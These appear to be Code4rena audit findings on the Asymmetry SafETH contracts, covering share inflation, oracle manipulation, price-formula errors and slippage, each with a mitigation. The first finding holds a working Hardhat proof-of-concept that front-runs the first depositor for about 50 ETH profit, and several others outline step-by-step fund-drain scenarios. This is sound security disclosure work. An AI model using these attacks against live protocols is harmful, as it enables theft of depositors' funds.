Asymmetry contest - RedTiger's results

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L63

Vulnerability details

Impact

The first depositor can be front run and part of his deposit stolen.

Proof of Concept

This a well known issue, and the protocol seems to have tried to mitigate it by adding a minimum deposit. But there is nothing restricting the front-runner from doing the attack by doing and withdrawal, and then leaving 1 wei in the system.

Hardhat test to validate the issue

Attack : User 1 ( Hacker) Deposit 1 Eth in SafETH Withdraw everything but 1 wei of Safeth User 1 send 90 wsteth ≈ 100 ETH to the Wsteth contract. User 2 deposit 200 ETH User 2 get 1 wei share of safeth, same as user 1 There is ≈ 300 ETH in the system. User 1 can Withdraw half ≈ 150 ETH Net profit : ≈ 50 ETH.

     it(" Front running the first deposit", async function () {
 
   const strategy = await getLatestContract(strategyContractAddress, "SafEth");

  const userAccounts = await getUserAccounts();
  let adminAccount = userAccounts[0];
  let totalStaked = BigNumber.from(0);

 
    const userStrategySigner = strategy.connect(userAccounts[1]);
 
 const balance_eth_before=await userAccounts[1].getBalance();
    
     // Deposit 1 ETH
      const ethAmount = "1.000000000000000000"
      const depositAmount = ethers.utils.parseEther(ethAmount);
      totalStaked = totalStaked.add(depositAmount);
      const stakeResult = await userStrategySigner.stake({
        value: depositAmount,
      });
      const mined = await stakeResult.wait();
      
      const safEthBalanceWei_1 = await strategy.balanceOf(
        userAccounts[1].address
      );
    
      //Unstake everything but 1 wei
         const unstakeResult = await userStrategySigner.unstake(safEthBalanceWei_1.sub(1));
        const mined_unstake = await unstakeResult.wait();
        const safEthBalanceWei_after_unstake = await strategy.balanceOf(
          userAccounts[1].address
        );

  // Wsteth Whale simulating the 90 wstEth (≈ 100 ETH)  large transfer from the user 1 to the Wsteth.sol contract
  await network.provider.request({
    method: "hardhat_impersonateAccount",
    params: [WSTETH_WHALE],
  });
  const whaleSigner = await ethers.getSigner(WSTETH_WHALE);
  const erc20 = new ethers.Contract(WSTETH_ADRESS, ERC20.abi, adminAccount);
  const erc20Whale = erc20.connect(whaleSigner);
  const erc20Amount = ethers.utils.parseEther("90");

  const erc20Balance_before = await erc20.balanceOf(wstethContractAddress);
  await erc20Whale.transfer(wsethContractAddress, erc20Amount);
  const erc20Balance = await erc20.balanceOf(wstethContractAddress);

  //User 2  deposit 200 ETH
  const userStrategySigner2 = strategy.connect(userAccounts[2]);
  const ethAmount2 = "200.000000000000000000"
  const depositAmount2 = ethers.utils.parseEther(ethAmount2);
  const stakeResult2 = await userStrategySigner2.stake({
    value: depositAmount2,
  });
  const mined2 = await stakeResult2.wait();  
  const safEthBalanceWei_2 = await strategy.balanceOf(
    userAccounts[2].address
  );


//User 1 withdraw his last share
  const ethAmount_last = "0.000000000000000001"

  const WithdrawAmountlast= ethers.utils.parseEther(ethAmount_last);

  const unstakeResult_last = await userStrategySigner.unstake(WithdrawAmountlast);

 const mined_unstake_last = await unstakeResult_last.wait();
 
 //User 1 balance of ETH
 const balance_eth_after=await userAccounts[1].getBalance();
 const difference_eth_before_after=balance_eth_after.sub(balance_eth_before);
 console.log("difference_eth_before_after");
/* Result is 149814951624610619751 or 149.8 ETH. Minus de 100 ETH Deposit simulated from the whale, that's ≈ a 50 ETH profit
*/

 
  });

Tools Used

Hardhat, manual review

Recommended Mitigation Steps

Need to enforce a minimum deposit that can't be withdrawn, for instance mint some of the intial amount to the zero address

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/SfrxEth.sol#L115

Vulnerability details

Vulnerability details * The protocol does not correctly calculate the price of FrxEth.

Impact

The more FrxEth depeg from Eth, the more FrxEth is believed to be valuable for the protocol. During a depeg event of FrxEth from Eth, new ETH deposits for SafETH will be able to drain all the funds, as their stake of FrxEth will give them a disproportionate amount of all the ETH derivatives in the protocol. Even if no Depeg happens the calculation is still wrong.

Proof of Concept

In the ethPerDerivative of the SfrxEth.sol https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/SfrxEth.sol#L111-L117

       function ethPerDerivative(uint256 _amount) public view returns (uint256) {
        uint256 frxAmount = IsFrxEth(SFRX_ETH_ADDRESS).convertToAssets(
            10 ** 18
        );
        return ((10 ** 18 * frxAmount) /
            IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).price_oracle());
    }

FrxAmount is calculated by using

     (SFRX_ETH_ADDRESS).convertToAssets

convertToAssets return the value of FRXETH of each SFRXETH according to Frax code : https://etherscan.io/address/0xac3E018457B222d93114458476f3E3416Abbe38F#code

      /// @notice How much frxETH is 1E18 sfrxETH worth. Price is in ETH, not USD
    function pricePerShare() public view returns (uint256) {
        return convertToAssets(1e18);
    }

And price_oracle gives the price of ETH per FRXETH, and not FRXETH per ETH. https://etherscan.io/address/0xa1F8A6807c402E4A15ef4EBa36528A3FED24E577#readContract#F4 https://curve.fi/#/ethereum/pools/frxeth/swap .

So to convert FrxAmount to ETH, it should be multiplied by price_oracle() and not divided

Also during a depeg event the share of the new Eth staked will be disproportionate, since the value of the deposited value is calculated with the method described above (Ethperderivate) https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#LL92

  uint derivativeReceivedEthValue = (derivative.ethPerDerivative(
                depositAmount
            ) * depositAmount) / 10 ** 18;

Whereas when unstaking there is no check of value. The protocol will be exploited by users who stake and unstake during the depeg event. It cas be done 200 ETH at a time with no limit. So virtually infinite.

Tools Used

Manuel Review

Recommended Mitigation Steps

Do a multiplication instead of a division to calculate the price.

Replace https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/SfrxEth.sol#L115-L116

return ((10 ** 18 * frxAmount) /
            IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).price_oracle());

With

 return (frxAmount * IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).price_oracle())/(10 ** 18)

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/WstEth.sol#L87

Vulnerability details

Impact

During a depeg event of StEth from ETH (ie 1 steth = 0.95 ETH) the users who deposits ETH in the protocol will have their asset lose value. And users who wish to unstake SafETH won’t be able to do so.

Proof of Concept

The EthPerDerivative function of WstEth.sol always assume 1 ETH = 1 StETH https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/WstEth.sol#L87

    function ethPerDerivative(uint256 _amount) public view returns (uint256) {
        return IWStETH(WST_ETH).getStETHByWstETH(10 ** 18);
    }

However StETH can diverge from ETH. It had for instance reached 0.93 ETH in June 2022 https://coinmarketcap.com/currencies/steth/steth/eth/ This should get better with the implementation of Withdrawal EIP-4895. But there is no guarantee even then then stETH does not depeg for a few days after this. For instance in Mars 2023 Lido paused withdrawals of Staked Matic to investigate a bug. https://twitter.com/LidoFinance/status/1632783634192007168?lang=en Such event could cause a depeg if it happens for stETH later.

By depeg I mean a 1 Steth < 1-slippage = 0.99. As slippage currently defined at 1% by asymmetry. https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/WstEth.sol#L35

    maxSlippage = (1 * 10 ** 16); // 1%

Two things can happen if a depeg of stETH happens again. 1- Users will not be able to withdraw ETH from SafETH, as all the transactions to convert STETH for ETH on curve will fail because of the slippage defined. https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/WstEth.sol#LL60-L61

     uint256 minOut = (stEthBal * (10 ** 18 - maxSlippage)) / 10 ** 18;
        IStEthEthPool(LIDO_CRV_POOL).exchange(1, 0, stEthBal, minOut);

2- New depositors will have part of their ETH convert to STETH and lose the corresponding value.

Tools Used

Manual review

Recommended Mitigation Steps

1 - Use a robust oracle to get the price of stETH in the EthPerDerivative for stETH . Preferably Chainlink. 2 - Add a function before depositing to stETH to get the real price of stETH. If stETH has depeged 2.a - emit an event and take the appropriate actions (change weights, Warning on the frontend … ) 2.b - Buy stETH on the market instead of depositing on Lido, or buy the other assets instead in greater quantity. This could be extended to all the derivatives. If they depeg it is better to buy them on the market. It is better for the user who will deposit and all the users who have already deposited.

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L240

Vulnerability details

Impact

The Oracle used to get the price on Uniswap can be manipulated easily. A hacker can than drain the protocol by depositing the Maximum Eth allowed : 200 ETH, and withdrawing more. This can be done many times. The only requirement is the Rocket Pool Deposit Pool that should not be full. A requirement that is not under the control of SafETH.

Proof of Concept

In EthPerDerivative function in Reth.sol https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L240

PoolPrice get the price of the rETH in the Uniswap liquidity Pool by using the price ‘sqrtPriceX96’ Available in slot0()

   (sqrtPriceX96, , , , , , ) = pool.slot0()

According to the Uniswap docs https://docs.uniswap.org/contracts/v3/reference/core/interfaces/pool/IUniswapV3PoolState sqrtPriceX96 is the current price of the pool as a sqrt(token1/token0) Q64.96 value

This is a mistake as the correct way to use Uniswap V3 as an Oracle is to use a TWAP Oracle, to prevent manipulation of the price in a single block … https://blog.uniswap.org/uniswap-v3-oracles

As a result, it is easy to manipulate the price used by the SafETH for rETH from Uniswap.

SafETH only use this price in ethPerDerivative when the Rocket Pool Deposit Pool is full for the amount taken as argument by EthPerDerivative. https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L211

    function ethPerDerivative(uint256 _amount) public view returns (uint256) {
        if (poolCanDeposit(_amount))
            return
                RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18);
        else return (poolPrice() * 10 ** 18) / (10 ** 18);
    }

Here is a how hack would happen:

Let’s suppose: There is 1000 rETH, 1000 SfrxEth, 1000 WstETH in SafETH and a Total supply of SafETH of 1000 1 - Hacker Manipulates the price down of the Uniswap Pool, for instance: Minus 90% (no TWAP used to do multiblock average) 2 - Hacker deposits 200 ETH in SafETH, 66 ETH is deposited in Rocket Pool. 3 - SafETH estimates that the current rETH deposited by other users are only 10% of their value, by checking Uniswap. So the underlying value of all the assets are approximately 2100 ETH instead of 3000 ETH. So preDepositPrice = 2100/1000 = 2.1 .Instead of 3. As a result the hacker gets 200/(2.1) = 95 SafEth instead of of 200/(3) = 66 SafEth. 43% more token than he was supposed to get 4 - Hacker Withdraws their 95 SafETH and get 43% more tokens : 286 ETH. 5 - These steps can be repeated many times, until the Rocket Pool deposit Pool is full.

Tools Used

Manual review

Recommended Mitigation Steps

• Use Chainlink for the price of rETH (Solution recommended) • Or use Uniswap TWAP Oracle correctly. • Or simply use the RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18) when the amount requested is less than the amount of ETH available in the Rocket Pool deposit Pool.

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/SfrxEth.sol#L116

Vulnerability details

Impact

The FrxEth oracle price used is Curve’s Oracle Price. If this Price Oracle is manipulated a user could get a disproportionate share in the system after a change of weights in the system.

Proof of Concept

In the ethPerDerivative of the SfrxEth.sol https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/SfrxEth.sol#L111-L117

            IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).price_oracle());
  

We can see that SafEth use Curve price_oracle() to get the value of FrxEth in the system. However price_oracle is not robust enough see this report for more details: https://code4rena.com/reports/2022-02-redacted-cartel/#m-17-thecosomataeth-oracle-price-can-be-better-secured-freshness--tamper-resistance

Example: The weights of the derivatives are 33% 33% 33%, with 10 000 ETH in the protocol. Total supply of SafETH of 1000. The developer decides to change the weight, so sFrxEth has 70% and the other two 15 % each. The hacker manipulate the price of Curve finance to make the FrxEth worth double the price of ETH. The hacker deposit 200 ETH in the system, worth 340 ETH according to SafEth ( 0.72200+0.3200). The underyling value of ETH before the deposit according the system is approximately : 0.33100002+0.3310000+0.33*10000 = 13200 ETH. So preDepositPrice = 13200/1000 = 13,2 .Instead of 10 ( 10000/1000). As a result the hackers get : 340/13.2 = 25.76 SafEth instead of 200/10 = 20 SafEth. So 28% more SafEth. The hacker can than withdraw 28% more token than he deposited. So 256 ETH. These steps can be repeated many times until protocol is empty.

Tools Used

Manuel Review

Recommended Mitigation Steps

My first recommendation is to use chainlink Oracle for FrxEth price. It is generally accepted that it is more difficult to manipulate than Curve's Oracle. If the developer wishes to stay with the Curve Oracle than : freshness and tamper-resistance can be better secured. This can be done by: Ensuring that the price was updated within a certain limit. // eg. last price update / trade must have been executed within the past hour uint256 lastPricesTimestamp = IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).last_prices_timestamp(); require(block.timestamp - lastPricesTimestamp <= 1 hours, 'stale price');

Checking that the last reported price pLast has not deviated too far from the current oracle price p_old. One can argue that it would be safer to add ETH when the market isn’t volatile, to avoid an incorrect price.

uint256 lastPrice = IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).last_prices(); uint256 oraclePrice = IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).price_oracle(); uint256 percentDiff; // eg. require difference in prices to be within 5% if (lastPrice > oraclePrice) { percentDiff = (lastPrice - oraclePrice) * 1e18 / oraclePrice; } else { percentDiff = (oraclePrice - lastPrice) * 1e18 / oraclePrice; } require(percentDiff <= 5e16, 'volatile market');

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L44 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/SfrxEth.sol#L38 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/WstEth.sol#L35

Vulnerability details

The 3 derivatives contracts have a slippage initially defined to 1% and under the control of the owner, not the users.

Impact

In case of volatility and depeg events of one of the derivatives, no withdrawal will be possible on all SafETH. The users should wait for the owner to change the slippage. In case of Emergency the users are stuck with no way to withdraw their funds and do what they please with their token.

Proof of Concept

A depeg Event happens caused by a hack, or temporary pause by one the protocol of withdrawals https://twitter.com/LidoFinance/status/1632783634192007168?lang=en, or other unexepected event. The withdrawals from the protocol won’t happen anymore until slippage is changed.

Tools Used

Manual review

Recommended Mitigation Steps

• Allow a user controlled Slippage • Allow users to withdraw in kind from SafETH ( Reth, WstETH, SFrxEth…)

Q/A 1) A low liquidity Pool is used for rETH. The pool only has 5 Millions of Liquidity https://coinmarketcap.com/dexscan/ethereum/0xa4e0faa58465a2d369aa21b3e42d43374c6f9613/ Whereas the same pool on Balancer has 80 millions of liquidity https://app.balancer.fi/#/ethereum/pool/0x1e19cf2d73a72ef1332c882f20534b6519be0276000200000000000000000112 Use the balancer pool instead. To have better liquity and not run into a DOS caused by the slippage.

Q/A 2 ) Wrong logic for rETH price https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L211 For ethPerDerivative(uint256 _amount) in rETH, it makes no sense to check if the amount can be deposited in the Rocker Pool Deposit Pool. What matter is if the amount can be withdrawn from the pool. For instance right now there is 5000 eth in the deposit pool that can be used with no slippage to convert rETH to ETH. But since the deposit pool is full, the current logic prevents using it. And getting the price from it .

Q/A 3 ) In the stake function, the price of derivatives deposited that matter is not the one used to deposit, but the one used if we want to sell them. So generally a chainlink Oracle would be better.

Q/A 4 ) In case of Depeg, buy the derivatives on the market to accumulate more ETH instead of minting new derivatives.